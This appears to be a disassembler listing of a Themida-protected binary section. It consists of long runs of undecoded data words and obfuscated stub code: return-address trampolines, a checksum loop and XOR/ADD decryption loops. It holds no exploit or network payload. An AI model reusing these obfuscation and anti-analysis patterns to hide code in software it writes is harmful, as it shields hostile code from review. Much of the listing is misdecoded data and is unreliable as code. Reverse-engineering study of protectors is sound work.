8D8BD98Bh dd 61318DDh, 840Fh, 8B500000h, 3188BC2h, 8B188BC1h, 3E8D1C1h dd 58188BC2h, 6ADEB70Fh, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 19042444h, 41000000h, 0D44BC351h, 56699C11h dd 24F9B501h, 0BB660613h, 0BD83D614h, 6131D1Dh, 25840F00h dd 8B000000h, 132B71BDh, 0B806h, 0BD8B0000h, 6130FE9h dd 4F8D8D8Dh, 0BD8B0613h, 6132BEDh, 8D09E1FFh, 6130D79h dd 3055BD83h, 0F000613h, 41D84h, 50006A00h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1D04h, 0C3504000h, 1374F2A9h dd 32C2BDC1h, 81667709h, 8350FCD3h, 133055BDh, 840F0106h dd 401h, 0A0D9D03h, 0BD830613h, 6133055h, 0B8860F03h, 6A000003h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1A042444h dd 41000000h, 7A64C351h, 76AD636Fh, 1CBB6048h, 6608A750h dd 6AD98Ch, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h dd 55450000h, 4E2E8EC3h, 898D28BAh, 13239585h, 4E18006h dd 27DB8150h, 5F23B088h, 152DBD09h, 0C90A0613h, 0FC840Fh dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h dd 52420000h, 0A564E3C3h, 4899957Eh, 138DBD8Bh, 858B0613h dd 6132BB9h, 0B98533F5h, 6A061305h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 14042444h, 47000000h, 507DC357h dd 7E9h, 0A3234C00h, 0DD2A6DDEh, 80240489h, 6A6BCBh, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 0AAC35747h, 0EDA6DDA9h dd 0A993B268h, 240481F0h, 0F75704Dh, 0A3D95FFh, 6A0613h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h, 55450000h dd 734F85C3h, 0D2434AD7h, 0DB803F22h, 54858955h, 810616C4h dd 0EAF749C3h, 211E967h, 14E80000h, 2A000000h, 429AED57h dd 0A208756Bh, 0D4B2211Ch, 4CAB04FEh, 8B3F1D6Ah, 132D0DBDh dd 8F0F5F06h, 6, 19918D29h, 858B0613h, 616C44Ch, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 76C35141h, 0C3DC8AE9h dd 0CE8FD6Dh, 85000000h, 0F317A822h, 594C80Dh, 0FD88D20h dd 28Dh, 5B616000h, 1800C7h, 6A0000h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 1C0424h, 53430000h, 0E2DB14C3h dd 716CF4E4h, 8960B901h, 1310F9B5h, 0D19D8B06h, 61061320h dd 0C450B58Bh, 0BB660616h, 858BF4B4h, 6132A55h, 19018D89h dd 6890613h, 11E8h, 4569AD00h, 79AEF28Bh, 0C10299EFh, 9862449Eh dd 9E9A7F1h, 18000000h, 8B1D5EB1h, 47F80B2Ah, 8B1DB75Fh dd 132BB985h, 198D2906h, 33061331h, 1301C19Dh, 4468906h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 44C35343h dd 9D8B9176h, 6130B39h, 1A019D29h, 0E8500613h, 8, 4CE4FA6Ah dd 0E1E465CDh, 9E9h, 474F1900h, 3715C77Eh, 895B5A8Ah, 830F2434h dd 6, 1E558529h, 0B5FF0613h, 616C44Ch, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 16h, 0A8C35242h, 6568ED27h, 60909E44h dd 5205B9BBh, 61F98B63h, 9A240481h, 506F80BFh, 6870Fh dd 9D090000h, 6133205h, 54858D5Bh, 6A0616C4h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 1B042444h, 40000000h dd 9FA6C350h, 74C8ED8Dh, 6E8C551h, 0D000000h, 5AC2D53Eh dd 199D03C9h, 5F06131Ah, 2375BD8Bh, 0BF900613h, 5C3AF101h dd 905B5250h, 1CD9D89h, 95FF0613h, 6130A3Dh, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 24C35343h, 0D6DF8177h dd 611C96A9h, 3EE2BF66h, 305585C7h, 30613h, 89500000h dd 130D7195h, 0BD835B06h, 616C454h, 48840F00h, 6A000000h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 19042444h dd 42000000h, 4307C352h, 0AAA102B9h, 3DE9h, 56006A00h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1504h, 0C3564600h dd 7DBF8A2Ch, 5019589Fh, 110C30h, 0C1011144h, 443010E8h dd 4C000211h, 83580311h, 0E77504E9h, 305036EBh, 64001104h dd 0E8C10111h, 11443010h, 11640002h, 0E9835803h, 0EBE77504h dd 0E8C1501Bh, 11642810h, 11443003h, 64285802h, 4300111h dd 4E98311h, 0EBE775h, 0DE8C08Bh, 3C000000h, 0C35B62Bh dd 7F3D16A5h, 0E93F6596h, 315BF88Bh, 1307F585h, 50006A06h dd 3E8h, 0C3582000h dd 24448958h, 24448104h, 1404h, 0C3504000h, 0CE94Ah, 5F020000h dd 84BD3BD0h, 2D028DD2h, 0BD83038Dh, 6133055h, 0AB850F03h dd 6A000004h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 18042444h, 43000000h, 0F8EAC353h, 6651A88Ch, 0CDA7F381h dd 0C454BD83h, 0F000616h, 47984h, 51006A00h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1D04h, 0C3514100h, 13C19111h dd 9EF7D39Ch, 0B5FF22A2h, 616C454h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 18h, 0CDC35242h, 0EB67B7C1h, 96995FFh dd 6A0613h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 150424h dd 55450000h, 0F61B7C3h, 0B58BDEB7h, 616C448h, 6C7D98Bh dd 10001h, 2161BD8Bh, 0E9960613h, 14h, 71FDA791h, 57CF8BA0h dd 480798B8h, 51B5CB7Fh, 83D7E214h, 0A54BF50h, 6A96308Ch dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1C042444h dd 45000000h, 0E8B1C355h, 44313174h, 8B370CBFh, 130CF99Dh dd 54B5FF06h, 8B0616C4h, 1320799Dh, 2995FF06h, 8B061332h dd 13109DBDh, 58D0F06h, 66000000h, 33EAE781h, 0C448B58Bh dd 0D6BB0616h, 8B2EDC34h, 13063185h, 0C4868906h, 2B000000h dd 130159BDh, 0BD958B06h, 6A06131Bh, 3E85000h, 20000000h dd 8958C358h, 81042444h, 16042444h, 40000000h, 55B2C350h dd 0C6CF801Dh, 6A04C283h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 18042444h, 42000000h, 63A9C352h, 8B191B87h dd 205089F9h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 1Bh, 48C35646h, 0FB5C15Bh, 8D5BEF0Bh, 16D8E385h, 57006A06h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1D04h, 0C3574700h dd 0CB84546Ah, 25D687F8h, 8689EBD6h, 0B8h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 0D1C35646h, 0F1B1B52Bh dd 9D03749Eh, 6130A7Dh, 6A006Ah, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 1D0424h, 57470000h, 0B935A5C3h, 4180ACFCh dd 81DDF4A3h, 40EB8DD7h, 0ED95311Ah, 0FF061314h, 16C454B5h dd 0D7816606h, 95FF23ABh, 6131E95h, 0A800Fh, 60600000h dd 19B52961h, 6106131Ah, 34BB6696h, 10E95098h, 0E8000000h dd 0AFB3802Eh, 7247A3DAh, 9B990663h, 9698EB69h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 0E7C35747h, 0E9A8BC46h dd 12h, 0EFCB69BBh, 0C0CC179Bh, 51780708h, 70D90241h, 0B5FFBA7Eh dd 616C454h, 11B1BD8Bh, 95FF0613h, 6132145h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 84C35242h, 63C6E795h dd 0EF81C3FAh, 43B7A6CDh, 1495BD83h, 0F000613h, 6184h dd 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1904h dd 0C3534300h, 0E953F505h, 0E896878Dh, 6, 0A8DA9290h, 0BE938FFh dd 0A6000000h, 0FE3D8F60h, 0F1214DB3h, 505F676Eh, 50006A96h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1804h, 0C3504000h dd 4BDBBD1h, 0B5FFF520h, 616C454h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 17h, 6EC35747h, 0BBA3A12Dh, 5A0FE2CCh dd 9629CF81h, 806021F2h, 0C980BDF5h, 95FF61C7h, 61305ADh dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 48C35343h dd 7172BD31h, 0F4579B2Fh, 0D38166B1h, 0B5FF026Ch, 616C454h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 30C35343h dd 6FD3D4FDh, 0D9BD8B62h, 89061330h, 132071BDh, 995FF06h dd 0F061312h, 68Fh, 0B1BD8900h, 83061314h, 130511BDh, 840F0206h dd 83h, 0EE9h, 8E3E8400h, 4EDC27E1h, 7CA5B258h, 8B055E29h dd 130F5585h, 10E906h, 70230000h, 38E267D8h, 62E760Bh dd 35AD707Eh, 0C60031h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1D04h, 0C3554500h, 545175CAh, 0D47DBAC5h dd 6E85E53h, 4A000000h, 3F815DBDh, 5783BF95h, 0E95F572Eh dd 13h, 0DAAFB380h, 637247A3h, 699B9906h, 0AA0098EBh, 66ABABE1h dd 0C76A56BFh, 131E5185h, 6, 38A0F00h, 0F000000h, 52E9FABFh dd 66FFFFF3h, 18CBEF81h, 9D8BC18Bh, 6132105h, 10E8h, 7028C700h dd 3E0C9897h, 0C0CA44C6h, 14FE6426h, 718D89D1h, 5F061328h dd 1EA9858Dh, 8B0F0613h, 5, 0D0D78052h, 890F905Bh, 2, 5050DA8Bh dd 9E9h, 7216D000h, 538E009Ch, 905B64B8h, 68F0Fh, 0B5890000h dd 6131EC1h, 6A006Ah, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 1C0424h, 51410000h, 94C375C3h, 9B098E16h, 8D8983F9h dd 613284Dh, 6A006Ah, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 180424h, 51410000h, 8C243C3h, 0BD8949B9h, 6131CF5h dd 2166858Dh, 83F90618h, 6A05C0h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 170424h, 53430000h, 29FF1FC3h, 0DE8B664Fh dd 1A99BD23h, 8B900613h, 6A9050D9h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 16042444h, 47000000h, 0C80BC357h dd 0EF8166D2h, 6A7258h, 0AE8h, 0EAF50200h, 0DC89777Bh dd 80B30308h, 8B5BF5E3h, 6A006AF9h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 1C042444h, 45000000h, 5B89C355h dd 0B98F1C90h, 0FF9682F6h, 1307F195h, 52006A06h, 3E8h dd 0C35A2000h, 2454895Ah, 24448104h, 1D04h, 0C3524200h dd 0A5D607C6h, 82013818h, 85293DE7h, 6132411h, 0A36A8D8Dh dd 7E90616h, 6C000000h, 1971F497h, 0D1FF5572h, 336ECF80h dd 13325D9Dh, 3DBD8306h, 1061317h, 42850Fh, 6A0000h, 3E857h dd 5F200000h, 7C895FC3h, 44810424h, 170424h, 57470000h dd 80FACEC3h, 0DF8B668Fh, 8B66026Ah, 0DC8A50D9h, 0B7240489h dd 5E960h, 12020000h, 0FF56A975h, 131E9595h, 0DAB70F06h dd 0D7DE9h, 0E800h, 815D0000h, 182170EDh, 51006A06h, 3E8h dd 0C3592000h, 244C8959h, 24448104h, 1604h, 0C3514100h dd 8AA440FAh, 5E858DD8h, 6A06168Fh, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 15042444h, 41000000h, 0CF9DC351h dd 9614BB66h, 0C913BF66h, 0F525050h, 28Eh, 0FD88B00h, 5ADA8B31h dd 24048958h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 1Dh, 0A7C35545h, 0F6D2AF9Bh, 80F986F5h, 66FD8A54h, 6401B7BBh dd 35FFh, 64F90000h, 2589h, 0BD230000h, 6130965h, 16D985FFh dd 6A0613h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 140424h dd 56460000h, 0DA8B5AC3h, 0BD8BFF6Ah, 6132FADh, 2309B5FFh dd 8B660613h, 0AD95FFFEh, 0E9061331h, 118h, 8E0Fh, 0B00000h dd 2BF98D09h, 70E60613h, 0F71E4F8h, 1183h, 0CE900h, 652E0000h dd 0C29642C7h, 0FD72F1DDh, 613C5B6Eh, 0E6830Fh, 0FF80000h dd 0D88AC8B6h, 6BAh, 6810F00h, 3000000h, 1316FD9Dh dd 0CE906h, 16650000h, 63DCAAFDh, 0F85F9AC8h, 0C18BB0ABh dd 142ACB81h, 0E8C13FC5h, 443CBF04h, 0F7661D82h, 9E8E2h dd 15790000h, 738D9D69h, 29C3D42Dh, 1334A58Dh, 0C82B5F06h dd 0A26016BFh, 50D18B7Bh, 94FBB66h, 0D98B665Fh, 7FE9h dd 0FFBF0F00h, 4C4C858Bh, 0BF66505Fh, 0C083B4C0h, 0C08307h dd 0B589FE8Bh, 61319D1h, 830FD03Bh, 1Bh, 56E9F9h, 10E90000h dd 95000000h, 8B892C74h, 82D91466h, 7092364Fh, 8B167531h dd 0FFFFFF8Dh, 0FD8D89FFh, 8306131Eh, 840F01E1h, 2Ch, 0BF8AF380h dd 78EEEA2Eh, 0FFFFA583h, 29FEFFFFh, 1321F585h, 4C958906h dd 0F505F4Ch, 68Fh, 0E1958900h, 0E9061334h, 0 ; --------------------------------------------------------------------------- lea esi, [ebp+617A159h] jmp loc_5CE655 ; --------------------------------------------------------------------------- db 0B4h ; --------------------------------------------------------------------------- sbb al, 73h xchg eax, edx jmp short loc_5CE6B4 ; --------------------------------------------------------------------------- cmp al, 0ACh shr byte ptr [eax], 73h fdivp st(5), st mov ds:31A7A57Fh, al loc_5CE655: ; CODE XREF: Themida_:005CE63Ej mov [ebp+6130B15h], ebx push 0 push 0 push ebp call sub_5CE668 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5CE668 proc near ; CODE XREF: Themida_:005CE660p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 18h inc ebp push ebp retn sub_5CE668 endp ; --------------------------------------------------------------------------- cld aad 48h mov ebp, 0D59D8BC3h sbb edx, [ebx] push es call dword ptr [ebp+6130DA9h] or [ebp+613150Dh], ebx mov ecx, 10CAh push 0 push ebx call sub_5CE69F and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5CE69F proc near ; CODE XREF: Themida_:005CE697p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 19h inc ebx push ebx retn sub_5CE69F endp ; --------------------------------------------------------------------------- db 81h dd 0C691BC85h ; --------------------------------------------------------------------------- loc_5CE6B4: ; CODE XREF: Themida_:005CE647j in eax, 56h mov bx, si pop edi and ecx, 0FFFFFFFCh mov bx, 3EBEh cld mov [ebp+6133239h], esi mov eax, 0 mov [ebp+6131F09h], esi sub edx, edx mov ebx, 3CA3C7BFh loc_5CE6DA: ; CODE XREF: Themida_:005CE6E4j lodsd xor eax, edx shr eax, 1 add edx, eax sub ecx, 4 jnz short loc_5CE6DA push 0 push ecx call sub_5CE6F1 and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5CE6F1 proc near ; CODE XREF: Themida_:005CE6E9p ; Themida_:005CE76Ej arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 15h inc ecx push ecx retn sub_5CE6F1 endp ; --------------------------------------------------------------------------- fsubrp st(3), st jnb loc_5CE70F mov ebx, [ebp+61310CDh] loc_5CE70F: ; CODE XREF: Themida_:005CE703j sub [ebp+613015Dh], ebx or eax, 88h push 0 push ebx call sub_5CE725 and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5CE725 proc near ; CODE XREF: Themida_:005CE71Dp arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 18h inc ebx push ebx retn sub_5CE725 endp ; --------------------------------------------------------------------------- pop ss xchg eax, edi stc mov dword ptr [esi], 61BD8Bh adc eax, [esi] mov ebx, [ebp+6131AA1h] mov edx, [ebp+6131BBDh] push 0 push ebp call sub_5CE757 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5CE757 proc near ; CODE XREF: Themida_:005CE74Fp arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 1Ch inc ebp push ebp retn sub_5CE757 endp ; --------------------------------------------------------------------------- shl ah, 1 mov ds:7AAA2B60h, al jnz short sub_5CE6F1 sub edi, 70448644h mov ecx, [ebp+61318DDh] push 0 push ecx call sub_5CE787 and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5CE787 proc near ; CODE XREF: Themida_:005CE77Fp arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 17h inc ecx push ecx retn sub_5CE787 endp ; --------------------------------------------------------------------------- jno short near ptr loc_5CE7B9+2 sbb al, 0A1h mov ebx, [ebp+6130B69h] push eax mov eax, edx mov ebx, [eax] add eax, ecx mov ebx, [eax] mov eax, ecx shr eax, 1 add eax, edx mov ebx, [eax] pop eax mov edi, [ebp+6131935h] loc_5CE7B9: ; CODE XREF: Themida_:005CE797j mov ebx, [ebp+6131DF5h] cmp dword ptr [ebp+6131D1Dh], 0 jz loc_5CE872 push 0 push ebp call sub_5CE7D7 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5CE7D7 proc near ; CODE XREF: Themida_:005CE7CFp arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 1Dh inc ebp push ebp retn sub_5CE7D7 endp ; --------------------------------------------------------------------------- db 35h dd 4E80B363h, 1738DEF4h, 0DE943h, 5AE40000h, 9DA4E21Bh dd 501CE31Ah, 0B8EAAD8Fh, 0 ; --------------------------------------------------------------------------- push 0 push ecx call sub_5CE813 and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5CE813 proc near ; CODE XREF: Themida_:005CE80Bp arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 1Dh inc ecx push ecx retn sub_5CE813 endp ; --------------------------------------------------------------------------- db 12h dd 2E50D514h, 496010F8h, 0F59D23CEh, 29061300h, 131B45BDh dd 8D8D8D06h, 6A06134Fh, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 1C042444h, 43000000h, 20C5C353h, 43C04Dh dd 0F903496Fh, 0BD8BE1FFh, 6130785h, 1639B531h ; --------------------------------------------------------------------------- adc eax, [esi] loc_5CE872: ; CODE XREF: Themida_:005CE7C6j cmp dword ptr [ebp+6133055h], 0 jz loc_5CED1D push 0 push esi call sub_5CE88A and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5CE88A proc near ; CODE XREF: Themida_:005CE882p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 18h inc esi push esi retn sub_5CE88A endp ; --------------------------------------------------------------------------- dw 0CAF3h dd 89E344A5h, 1322998Dh, 0BD83F506h, 6133055h, 85840F01h dd 0F000004h, 0BD83FABFh, 6133055h, 3F860F03h, 6A000004h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 15042444h dd 45000000h, 0DA19C355h, 5F59D8Bh, 9D890613h, 61334ADh dd 51006A60h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1904h dd 0C3514100h, 57FA8F07h, 8C66763Dh, 55006AD9h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1A04h, 0C3554500h, 279E621Ah dd 808CA4B3h, 6A04E1h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 1B0424h, 51410000h, 33D997C3h, 6BDA6740h, 0FC90AADh dd 11384h, 7D9D8B00h, 3061323h, 1309619Dh, 0B9858B06h dd 5206132Bh, 1F5B589h, 335F0613h, 1305B985h, 50006A06h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1604h, 0C3504000h dd 50D749EBh, 10E853h, 8DD50000h, 0F37889BBh, 2C9F7F7Ch dd 0DFFC920Ah, 61602BF8h, 4895F5Bh, 57006A24h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1804h, 0C3574700h, 7826FCABh dd 6A006A66h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 19042444h, 46000000h, 0A042C356h, 96C3AF32h, 68FFB70Fh dd 1332C134h, 3481DD8Ah, 2DC2CB24h, 50006A13h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1704h, 0C3504000h, 0EBC1B9D0h dd 0A3D95FFh, 6A0613h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 180424h, 56460000h, 5FE20CC3h, 9D8BC470h, 61318E1h dd 0C4548589h, 0E9FC0616h, 219h, 0FDE8B66h, 386h, 0F9B70F00h dd 0C44C858Bh, 6A0616h, 3E850h, 58200000h, 448958C3h, 44810424h dd 180424h, 50400000h, 667947C3h, 9D8BE8FAh, 6132FE1h dd 1800C7h, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 190424h, 52420000h, 335ACCC3h, 0BF59251Bh, 45D19E4Ah dd 0C450B58Bh, 89600616h, 1305A5B5h, 0BD8B6006h, 6130085h dd 30B19D09h, 61610613h, 2A55858Bh, 6A0613h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 140424h, 52420000h, 689F4C3h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 15h, 0D1C35040h dd 859531BEh, 0E906130Eh, 11h, 5C492EE3h, 40982B1Eh, 0A524BB12h dd 7F973D3Eh, 0B9858B40h, 8906132Bh, 131BFDBDh, 4468906h dd 50F98B66h, 0EE8h, 2952F600h, 0D4087744h, 0CBAD56BCh dd 0F79B583h, 0E86h, 8E800h, 814D0000h, 7CAB548Fh, 5F5FA1F7h dd 6A243489h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 19042444h, 47000000h, 548AC357h, 5C936E4h, 34BA6660h dd 6860FBAh, 89000000h, 132B2595h, 0B5FF6106h, 616C44Ch dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Dh, 6DC35040h dd 0D489FFBFh, 684618Fh, 198D8964h, 0E8061312h, 4, 1F03FFh dd 0EE9h, 0D9D5CF00h, 3E9B78E1h, 39E81CDBh, 50AF9AB8h dd 424448Bh, 880F008Bh, 5, 796F7BBBh, 24448964h, 50606004h dd 55EFBA58h, 61617161h, 8DBD8B58h, 8D061300h, 16C45485h dd 5BBB6606h, 0E9606035h, 14h, 0B682D6AAh, 0BEEFC83Eh dd 0BB80016h, 9C43FCF6h, 0E8533EE3h, 228D9D89h, 61610613h dd 50FB8B90h, 359D8990h, 0FF061324h, 130A3D95h, 0DE906h dd 0CCA0000h, 0FB044ED0h, 0EE84894Fh, 81C64472h, 325313CBh dd 6A6160h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h dd 53430000h, 0E70F41C3h, 0F486C660h, 85C72E16h, 6133055h dd 3, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ch dd 0D8C35242h, 0AE49008Dh, 103B8546h, 9BD9D8Bh, 0BD830613h dd 616C454h, 1B840F00h, 0E9000000h, 0Bh, 88467B3Bh, 7B4077ECh dd 0E9A7FDD5h, 21h, 34859589h, 30500613h, 4400110Ch, 0E8C10111h dd 11443010h, 114C0002h, 0E9835803h, 0EBE77504h db 36h ; --------------------------------------------------------------------------- loc_5CED1D: ; CODE XREF: Themida_:005CE879j ; Themida_:005CED34j push eax xor [ecx+edx], al add [ecx+edx+1], ah shr eax, 10h xor [ecx+edx+2], al add [ecx+edx+3], ah pop eax sub ecx, 4 jnz short loc_5CED1D jmp short loc_5CED53 ; --------------------------------------------------------------------------- loc_5CED38: ; CODE XREF: Themida_:005CED4Fj push eax shr eax, 10h sub [ecx+edx+3], ah xor [ecx+edx+2], al pop eax sub [ecx+edx+1], ah xor [ecx+edx], al sub ecx, 4 jnz short loc_5CED38 loc_5CED51: ; CODE XREF: Themida_:005CEDC4j jmp short $+2 loc_5CED53: ; CODE XREF: Themida_:005CED36j mov eax, eax push 0 push ebp call sub_5CED60 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5CED60 proc near ; CODE XREF: Themida_:005CED58p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 17h inc ebp push ebp retn sub_5CED60 endp ; --------------------------------------------------------------------------- or ah, [edi-40998254h] adc eax, 55BD83FFh xor [ebx], dl push es add ecx, [edi] test edx, ebp add eax, [eax] add [ebx+131F2DBDh], cl push es cmp dword ptr [ebp+616C454h], 0 jz loc_5CF15A or bh, 54h push dword ptr [ebp+616C454h] cld call dword ptr [ebp+6130969h] push 0 push ebx call sub_5CEDB3 and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5CEDB3 proc near ; CODE XREF: Themida_:005CEDABp arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 15h inc ebx push ebx retn sub_5CEDB3 endp ; --------------------------------------------------------------------------- xchg eax, ecx jno short loc_5CED51 mov ch, 48h les edx, [esi] push es push 0 push ecx call sub_5CEDD6 and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5CEDD6 proc near ; CODE XREF: Themida_:005CEDCEp arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 1Dh inc ecx push ecx retn sub_5CEDD6 endp ; --------------------------------------------------------------------------- push cs xor bl, ds:13B8B8F7h test [esi-42h], esp mov dword ptr [esi], 10001h push 0 push eax call sub_5CEE01 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5CEE01 proc near ; CODE XREF: Themida_:005CEDF9p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 1Ah inc eax push eax retn sub_5CEE01 endp ; --------------------------------------------------------------------------- db 0BEh, 0D7h, 0EFh dd 0A43D4D77h, 11E896h, 4E00000h, 0A17BAC25h, 5E748FA1h dd 69C1C76Ah, 66929381h, 505BFB8Bh, 56006A96h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1B04h, 0C3564600h, 414031Bh, 39386059h dd 88D3E781h, 0B5FF41F2h, 616C454h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 18h, 5FC35343h, 446C39F4h, 322995FFh dd 0CEB70613h, 0C448B58Bh, 0EE90616h, 0E0000000h, 0B185F4CBh dd 0E23BFFA1h, 8E5A4984h, 31858B85h, 6A061306h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 14042444h, 43000000h dd 8B25C353h, 13152DBDh, 68E38106h, 890D9B43h, 0C486h dd 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1904h dd 0C3574700h, 25D44F10h, 0BD0B463Ch, 6131985h, 9C9BD8Bh dd 0F7810613h, 2CAC4D4Ah, 1BBD958Bh, 0BD890613h, 6132F7Dh dd 17699D29h, 0C2830613h, 55006A04h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1704h, 0C3554500h, 56E5F46Bh dd 80205089h, 858DFAEFh, 616D8E3h, 8B0Fh, 86890000h, 0B8h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 5C35242h dd 0AA157076h, 0DD8AEA24h, 0F380006Ah, 54B5FF58h, 0F0616C4h dd 68Bh, 919D8B00h, 0FF061301h, 131E9595h, 52006A06h, 3E8h dd 0C35A2000h, 2454895Ah, 24448104h, 1C04h, 0C3524200h dd 5A880FDh, 0D4DEF8FCh, 7E8963Ah, 0D3000000h, 730D342Dh dd 0C7B306ADh, 0BF66505Bh, 6A960E84h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 1C042444h, 42000000h, 5E26C352h dd 0E598B664h, 0E8B4D0B2h, 6, 0C6E3A4E8h, 9D8BF957h, 6133069h dd 54B5FF5Bh, 890616C4h, 1328E9BDh, 4595FF06h, 6A061321h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1A042444h dd 42000000h, 0C449C352h, 0B8553F41h, 27BB6606h, 95BD83F5h dd 61314h, 45840Fh, 9E90000h, 0A000000h, 0CE16D42Ah, 99729561h dd 12EB8166h, 8C0F9636h, 5, 18DC2ABBh, 0F98A5065h, 55006A96h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1504h, 0C3554500h dd 81661A38h, 0FF8C72EBh, 16C454B5h, 0B99D8B06h, 8B061310h dd 1313C9BDh, 0AD95FF06h, 81061305h, 0FE4125D3h, 54B5FF0Bh dd 0E90616C4h, 11h, 0BF49A384h, 671DA23Bh, 7695F91h, 0B32DA003h dd 0D9BD292Ah, 0FF061305h, 13120995h, 0DB50106h, 8006130Dh dd 0BD839ADFh, 6130511h, 5B840F02h, 89000000h, 1307058Dh dd 55858B06h, 6A06130Fh, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 1C042444h, 47000000h, 0A332C357h, 88EC8B5Fh dd 0C6B68142h, 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 190424h, 57470000h, 